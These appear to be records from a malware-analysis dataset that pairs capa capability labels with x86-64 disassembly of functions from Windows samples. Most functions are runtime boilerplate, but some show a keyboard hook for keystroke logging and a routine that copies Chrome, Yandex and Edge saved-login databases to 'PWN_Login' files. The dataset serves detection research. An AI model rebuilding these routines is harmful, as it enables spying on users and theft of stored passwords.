joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140003270
Capabilities:
Accept command line arguments

Disassembly:
push rdi
push r15
sub rsp, 0x78
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov rdi, rax
mov qword [rsp + 0x50], rax
test rax, rax
jne 0x1400032a5
or rax, 0xffffffffffffffff
add rsp, 0x78
pop r15
pop rdi
ret
mov eax, dword [rsp + 0x40]
mov qword [rsp + 0x90], rbx
mov r15, 0xffffffffffffffff
inc eax
mov qword [rsp + 0xa0], rsi
mov qword [rsp + 0x60], r14
movsxd rcx, eax
mov eax, 8
mul rcx
cmovo rax, r15
mov rcx, rax
call fcn.140003418
xor ebx, ebx
mov r14, rax
mov qword [rsp + 0x48], rax
mov eax, dword [rsp + 0x40]
test eax, eax
jle 0x1400033aa
mov qword [rsp + 0x98], rbp
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x68], r13
mov r13, rdi
mov r12, r14
sub r13, r14
mov r14d, ebx
nop dword [rax]
nop word [rax + rax]
mov rbp, qword [r13 + r12]
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov r9d, r15d
xor edx, edx
xor ecx, ecx
mov r8, rbp
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rdi, eax
mov rcx, rdi
call fcn.140003418
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov r9d, r15d
mov r8, rbp
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], edi
mov rsi, rax
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov qword [r12], rsi
mov eax, dword [rsp + 0x40]
inc r14d
lea r12, [r12 + 8]
cmp r14d, eax
jl 0x140003320
mov r14, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
mov r13, qword [rsp + 0x68]
mov r12, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x98]
cdqe
mov rcx, rdi
mov qword [r14 + rax*8], rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [rsp + 0x40]
mov rdx, r14
call fcn.140002470
mov esi, eax
cmp dword [rsp + 0x40], ebx
jle 0x1400033e9
mov rdi, r14
mov rcx, qword [rdi]
test rcx, rcx
je 0x1400033e9
call sub.MSVCR120.dll_void___cdecl_operator_delete___void____ptr64_
inc ebx
add rdi, 8
cmp ebx, dword [rsp + 0x40]
jl 0x1400033d0
mov rcx, r14
call sub.MSVCR120.dll_void___cdecl_operator_delete___void____ptr64_
mov r14, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x90]
mov eax, esi
mov rsi, qword [rsp + 0xa0]
add rsp, 0x78
pop r15
pop rdi
ret
Function at 0x14001114a
Capabilities:
Write file on windows

Disassembly:
jmp 0x140023be0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x1400400f4]
call fcn.140011b9a
nop
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x68], 0
je 0x140023c38
mov r8, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x140023d4a
mov rax, qword [rbp + 0x130]
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x130], 0
jle 0x140023ce3
cmp qword [rbp + 0x28], 0
jle 0x140023ce3
mov rax, qword [rbp + 0x28]
cmp qword [rbp + 0x130], rax
jge 0x140023c81
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x128]
mov rcx, rax
call fcn.140011af5
nop
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x128]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov edx, dword [rbp + 0x28]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
nop
cmp qword [rbp + 0x130], 0
jle 0x140023d39
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x80], 0
je 0x140023d39
mov rax, qword [rbp + 0x120]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x130]
mov edx, 1
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ucrtbased.dll_fwrite]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov rcx, qword [rbp + 8]
sub rcx, rax
mov rax, rcx
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x140011690
Capabilities:
Terminate process

Disassembly:
jmp 0x140026910
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x1400117e4
Capabilities:
Log keystrokes via application hook

Disassembly:
jmp 0x140023e30
push rbp
push rdi
sub rsp, 0x158
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x1e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140038040]
xor rax, rbp
mov qword [rbp + 0x128], rax
lea rcx, [0x1400400f9]
call fcn.140011b9a
nop
call fcn.140011938
nop
call fcn.1400113f2
nop
call fcn.14001113b
nop
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140011bdb]
mov ecx, 0xd
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140023ebe
lea rdx, str.____Failed_to_install_keyboard_hook._n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011168
nop
mov eax, 1
jmp 0x140023f07
movzx eax, byte [section..data]
test eax, eax
je 0x140023ef4
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x28]
call qword [sym.imp.USER32.dll_GetMessageW]
nop
lea rcx, [rbp + 0x28]
call qword [sym.imp.USER32.dll_TranslateMessage]
nop
lea rcx, [rbp + 0x28]
call qword [sym.imp.USER32.dll_DispatchMessageW]
nop
jmp 0x140023ebe
call fcn.1400115be
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140030640]
call fcn.1400119a6
mov rax, rdi
mov rcx, qword [rbp + 0x128]
xor rcx, rbp
call fcn.1400115a0
lea rsp, [rbp + 0x138]
pop rdi
pop rbp
ret

Function at 0x14001181b
Capabilities:
Parse pe header

Disassembly:
jmp 0x140027440
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140027460
xor al, al
jmp 0x1400274e1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140027473
xor al, al
jmp 0x1400274e1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14002749d
xor al, al
jmp 0x1400274e1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400274b1
xor al, al
jmp 0x1400274e1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400274c3
xor al, al
jmp 0x1400274e1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400274df
xor al, al
jmp 0x1400274e1
mov al, 1
add rsp, 0x38
ret
Function at 0x140011938
Capabilities:
Create new key via cryptacquirecontext
Generate random numbers via winapi
Terminate process

Disassembly:
jmp 0x140021ac0
push rbp
push rdi
sub rsp, 0x118
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0xa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140038040]
xor rax, rbp
mov qword [rbp + 0xd8], rax
lea rcx, [0x1400400f9]
call fcn.140011b9a
nop
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 0x18
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x140021b3f
lea rdx, str.____Error:_Failed_to_acquire_cryptographic_context._n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011168
nop
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
nop
lea r8, [0x1400387a0]
mov edx, 0x10
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x140021b86
lea rdx, str.____Error:_Failed_to_generate_AES_key._n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011168
nop
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
nop
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
nop
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x14002f310]
call fcn.1400119a6
mov rcx, qword [rbp + 0xd8]
xor rcx, rbp
call fcn.1400115a0
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x140011b6d
Capabilities:
Write file on windows

Disassembly:
jmp 0x14001da10
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x2e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1c8]
mov rax, qword [0x140038040]
xor rax, rbp
mov qword [rbp + 0x168], rax
lea rcx, [0x1400400f4]
call fcn.140011b9a
nop
mov rax, qword [rbp + 0x190]
cmp qword [rax + 0x68], 0
je 0x14001da77
mov rax, qword [rbp + 0x190]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14001da7e
mov al, 1
jmp 0x14001dbce
call fcn.140011334
mov rcx, qword [rbp + 0x190]
mov rcx, qword [rcx]
mov qword [rbp + 0x158], rcx
mov edx, eax
mov rcx, qword [rbp + 0x190]
mov rax, qword [rbp + 0x158]
call qword [rax + 0x18]
mov dword [rbp + 0x160], eax
call fcn.140011334
mov ecx, dword [rbp + 0x160]
mov edx, ecx
mov ecx, eax
call fcn.14001192e
movzx eax, al
test eax, eax
je 0x14001dacf
xor al, al
jmp 0x14001dbce
mov qword [rbp + 8], 0x20
lea rax, [rbp + 0x48]
mov rcx, qword [rbp + 0x190]
add rcx, 0x74
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rbp + 0x28]
mov rdx, rcx
mov rax, qword [rbp + 0x190]
mov rcx, qword [rax + 0x68]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rbp + 0x154], eax
cmp dword [rbp + 0x154], 0
je 0x14001db34
cmp dword [rbp + 0x154], 1
je 0x14001db3f
cmp dword [rbp + 0x154], 3
je 0x14001dbbd
jmp 0x14001dbcc
mov rax, qword [rbp + 0x190]
mov byte [rax + 0x71], 0
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jbe 0x14001db8f
mov rax, qword [rbp + 0x190]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x88]
mov edx, 1
lea rcx, [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_fwrite]
cmp qword [rbp + 0x88], rax
je 0x14001db8f
xor al, al
jmp 0x14001dbce
mov rax, qword [rbp + 0x190]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14001dbaa
mov dword [rbp + 0x154], 1
jmp 0x14001dbb4
mov dword [rbp + 0x154], 0
movzx eax, byte [rbp + 0x154]
jmp 0x14001dbce
mov rax, qword [rbp + 0x190]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x14001dbce
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x1400303f0]
call fcn.1400119a6
mov rax, rdi
mov rcx, qword [rbp + 0x168]
xor rcx, rbp
call fcn.1400115a0
lea rsp, [rbp + 0x178]
pop rdi
pop rbp
ret
Function at 0x140024d20
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140011bef
movzx eax, al
test eax, eax
jne 0x140024d40
mov ecx, 7
call fcn.1400119ba
nop
mov byte [rsp + 0x20], 0
call fcn.140011a00
mov byte [rsp + 0x21], al
cmp dword [0x1400387e8], 1
jne 0x140024d64
mov ecx, 7
call fcn.1400119ba
nop
jmp 0x140024dbc
cmp dword [0x1400387e8], 0
jne 0x140024db7
mov dword [0x1400387e8], 1
lea rdx, [0x14002e770]
lea rcx, [0x14002e440]
call fcn.140011578
test eax, eax
je 0x140024d98
mov eax, 0xff
jmp 0x140024ec1
lea rdx, [0x14002e330]
lea rcx, [section..rdata]
call fcn.1400119ec
mov dword [0x1400387e8], 2
jmp 0x140024dbc
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011992
call fcn.14001185c
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140024e19
mov rcx, qword [rsp + 0x30]
call fcn.14001146a
movzx eax, al
test eax, eax
je 0x140024e19
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140041020]
nop
call fcn.1400118f7
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x140024e4d
mov rcx, qword [rsp + 0x38]
call fcn.14001146a
movzx eax, al
test eax, eax
je 0x140024e4d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011b40
nop
call fcn.140024f70
mov dword [rsp + 0x28], eax
call fcn.14001181b
movzx eax, al
test eax, eax
jne 0x140024e6c
mov ecx, dword [rsp + 0x28]
call fcn.1400110e1
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140024e7b
call fcn.140011b59
nop
xor edx, edx
mov cl, 1
call fcn.140011429
mov eax, dword [rsp + 0x28]
jmp 0x140024ec1
add rsp, 0x68
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000bb30]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000bb40]
mov dword [rax], 1
mov rax, qword [0x14000bb50]
mov dword [rax], 1
mov rax, qword [0x14000bb20]
mov dword [rax], 1
mov rax, qword [0x14000b9e0]
cmp word [rax], 0x5a4d
jne 0x140001067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010d0
mov rax, qword [0x14000bb10]
mov dword [0x14000f020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010c0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x14000bad0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x14000bab0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x14000b990]
cmp dword [rax], 1
je 0x140001108
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001120
cmp dx, 0x20b
jne 0x140001067
cmp dword [rax + 0x84], 0xe
jbe 0x140001067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x140001067
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x140001067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x140001067

Function at 0x1400015fa
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push rbp
sub rsp, 0x440
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3d0], rcx
mov qword [rbp + 0x3d8], rdx
lea rax, section..rdata
mov rdx, rax
mov rcx, qword [rbp + 0x3d0]
call sym.fopen
mov qword [rbp + 0x3b8], rax
cmp qword [rbp + 0x3b8], 0
jne 0x140001653
lea rax, [0x14000b008]
mov rcx, rax
call sym.perror
jmp 0x140001733
mov rax, qword [rbp + 0x3d8]
lea rdx, [0x14000b04b]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x3b0], rax
cmp qword [rbp + 0x3b0], 0
jne 0x1400016c2
lea rax, str.____
mov rcx, rax
call sym.perror
mov rax, qword [rbp + 0x3b8]
mov rcx, rax
call sym.fclose
jmp 0x140001733
mov rcx, qword [rbp + 0x3b0]
mov rdx, qword [rbp + 0x3a8]
lea rax, [rbp - 0x60]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov rdx, qword [rbp + 0x3b8]
lea rax, [rbp - 0x60]
mov r9, rdx
mov r8d, 0x400
mov edx, 1
mov rcx, rax
call sym.fread
mov qword [rbp + 0x3a8], rax
cmp qword [rbp + 0x3a8], 0
jne 0x14000169d
mov rax, qword [rbp + 0x3b8]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp + 0x3b0]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp + 0x3d8]
mov r8, rax
mov rdx, qword [rbp + 0x3d0]
lea rax, str.__:__s_____s_n
mov rcx, rax
call sym.printf
nop
add rsp, 0x440
pop rbp
ret
Function at 0x14000173c
Capabilities:
Get session user name

Disassembly:
push rbp
sub rsp, 0x380
lea rbp, [rsp + 0x80]
call sym.__main
mov dword [rbp + 0x1ec], 0x100
lea rdx, [rbp + 0x1ec]
lea rax, [rbp + 0x1f0]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_GetUserNameA]
call rax
test eax, eax
jne 0x140001792
lea rax, str.___._n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x1400018d7
lea rax, str.C:Users_sAppDataLocalGoogleChromeUser_DataDefaultLogin_Data
mov qword [rbp + 0x1b0], rax
lea rax, str.C:Users_sAppDataLocalYandexYandexBrowserUser_DataDefaultLogin_Data
mov qword [rbp + 0x1b8], rax
lea rax, str.C:Users_sAppDataLocalMicrosoftEdgeUser_DataDefaultLogin_Data
mov qword [rbp + 0x1c0], rax
lea rax, str.C:Users_sAppDataLocalGoogleChromeUser_DataDefaultLogin_Data_For_Account
mov qword [rbp + 0x1c8], rax
lea rax, str.C:Users_sAppDataLocalYandexYandexBrowserUser_DataDefaultLogin_Data_For_Account
mov qword [rbp + 0x1d0], rax
lea rax, str.C:Users_sAppDataLocalMicrosoftEdgeUser_DataDefaultLogin_Data_For_Account
mov qword [rbp + 0x1d8], rax
mov ecx, 0
call sym.time
mov ecx, eax
call sym.srand
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x2f8], edx
mov edx, dword [rbp + 0x2f8]
imul edx, edx, 0x186a0
sub eax, edx
mov dword [rbp + 0x2f8], eax
mov dword [rbp + 0x2fc], 0
jmp 0x1400018c3
mov eax, dword [rbp + 0x2fc]
cdqe
mov rdx, qword [rbp + rax*8 + 0x1b0]
lea rcx, [rbp + 0x1f0]
lea rax, [rbp - 0x50]
mov r9, rcx
mov r8, rdx
mov edx, 0x100
mov rcx, rax
call sym.snprintf
mov eax, dword [rbp + 0x2fc]
lea ecx, [rax + 1]
mov r8d, dword [rbp + 0x2f8]
lea rax, [rbp + 0xb0]
lea rdx, [rbp + 0x1f0]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], ecx
mov r9d, r8d
lea r8, str.PWN_Login__05d__d__s
mov edx, 0x100
mov rcx, rax
call sym.snprintf
lea rdx, [rbp + 0xb0]
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.copy_file
add dword [rbp + 0x2fc], 1
mov eax, dword [rbp + 0x2fc]
cmp eax, 5
jbe 0x14000183d
mov eax, 0
add rsp, 0x380
pop rbp
ret

Function at 0x140001c20
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001c90
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000f0c4]
mov rbx, rcx
test esi, esi
jle 0x140001dc0
mov rax, qword [0x14000f0c8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001cdb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001d65
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001cc0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001de2
mov rax, qword [0x14000f0c8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000f0c8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001dc7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001d5e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001d70
add dword [0x14000f0c4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000f0c8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001d5e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001ce8
mov rax, qword [0x14000f0c8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x1400023d0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
cmp edx, 2
je 0x140002500
ja 0x140002418
test edx, edx
je 0x140002498
mov eax, dword [0x14000f108]
test eax, eax
je 0x140002580
mov dword [0x14000f108], 1
mov eax, 1
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp edx, 3
jne 0x140002405
mov eax, dword [0x14000f108]
test eax, eax
je 0x140002405
lea r12, [0x14000f120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000f100]
test rbx, rbx
je 0x140002484
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400025a8
test rsi, rsi
je 0x1400025a8
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002458
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x140002405
mov eax, dword [0x14000f108]
test eax, eax
jne 0x140002518
mov eax, dword [0x14000f108]
cmp eax, 1
jne 0x140002405
mov rbx, qword [0x14000f100]
test rbx, rbx
je 0x1400024d1
nop dword [rax]
mov rcx, rbx
mov rbx, qword [rbx + 0x10]
call sub.msvcrt.dll_free
test rbx, rbx
jne 0x1400024c0
lea rcx, [0x14000f120]
mov qword [0x14000f100], 0
mov dword [0x14000f108], 0
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
jmp 0x140002405
call sym._fpreset
mov eax, 1
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
lea r12, [0x14000f120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000f100]
test rbx, rbx
je 0x14000256c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop word [rax + rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002598
test rsi, rsi
je 0x140002598
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002548
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x1400024a2
lea rcx, [0x14000f120]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
jmp 0x1400023fb
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002548
jmp 0x14000256c
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002458
jmp 0x140002484

Function at 0x1400025c0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400025d8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400025e0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400025f0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000263d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002634
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000263f
add rax, 0x28
cmp rax, r9
jne 0x140002620
xor eax, eax
ret